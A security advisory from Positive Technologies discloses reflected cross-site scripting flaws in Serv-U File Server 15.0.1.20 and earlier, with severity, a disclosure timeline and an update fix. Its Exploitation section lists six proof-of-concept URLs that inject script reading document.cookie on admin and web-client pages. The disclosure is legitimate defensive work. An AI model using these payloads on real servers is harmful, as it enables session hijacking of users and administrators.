(PT-2013-70) Positive Technologies Security Advisory
Multiple Cross-Site Scripting (XSS) in Serv-U File Server

Vulnerable software

Serv-U File Server
Version: 15.0.1.20 and earlier

Link:
http://www.serv-u.com/

Severity level

Severity level: Medium
Impact: Cross-Site Scripting
Access Vector: Remote

CVSS v2:
Base Score: 4.3
Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVE: not assigned

Software description

Serv-U File Server is a Windows and Linux based multi-protocol FTP, HTTP and SFTP file server.

Vulnerability description

The specialists of the Positive Research center have detected Multiple Cross-Site Scripting vulnerabilities in Serv-U File Server.

The application does not perform sufficient validation of parameters, which are sent by client and used in HTM scripts. This vulnerability allows an attacker to execute an arbitrary JavaScript code in user's browser session, conduct content spoofing or redirect traffic to an arbitrary resource via tricking a user into clicking a specially crafted link.

Exploitation

http://serv-u/Web%20Client/Error.htm?RESULT=</script><script>alert(document.cookie)</script>

    http://serv-u/Admin/DomainDir.htm?ID=6731</script><script>alert(document.cookie)</script>&Page=1 

    http://serv-u/Admin/DomainDir.htm?ID=6731&Page=1</script><script>alert(document.cookie)</script>

    http://serv-u/Admin/console.htm?ID=</script><script>alert(document.cookie)</script>

    http://serv-u/Web%20Client/Share/GuestDownload.htm?ID=</script><script>alert(document.cookie)</script>

http://serv-u/Web%20Client/Share/GuestUpload.htm?ID=</script><script>alert(document.cookie)</script>;

How to fix

Update your sofware up to the latest version

Advisory status

02.10.2013 - Vulnerability details were sent to CERT
03.06.2014 - Vendor releases fixed version and details
31.07.2014 - Public disclosure

Credits

The vulnerability was detected by Sergey Bobrov, Positive Research Center (Positive Technologies Company)

References

http://en.securitylab.ru/lab/PT-2013-70

Reports on the vulnerabilities previously discovered by Positive Research:

http://www.ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/

About Positive Technologies

Positive Technologies is a leading provider of vulnerability assessment, compliance management and threat analysis solutions to more than 1,000 global enterprise clients. Our solutions work seamlessly across your entire business: securing applications in development; assessing your network and application vulnerabilities; assuring compliance with regulatory requirements; and blocking real-time attacks. Our commitment to clients and research has earned Positive Technologies a reputation as one of the foremost authorities on SCADA, Banking, Telecom, Web Application and ERP security, and distinction as the #1 fastest growing Security and Vulnerability Management firm in 2012, as shown in an IDC report*. To learn more about Positive Technologies please visit www.ptsecurity.com

*Source: IDC Worldwide Security and Vulnerability Management 2013-2017 Forecast and 2012 Vendor Shares, doc #242465, August 2013. Based on year-over-year revenue growth in 2012 for vendors with revenues of $20M+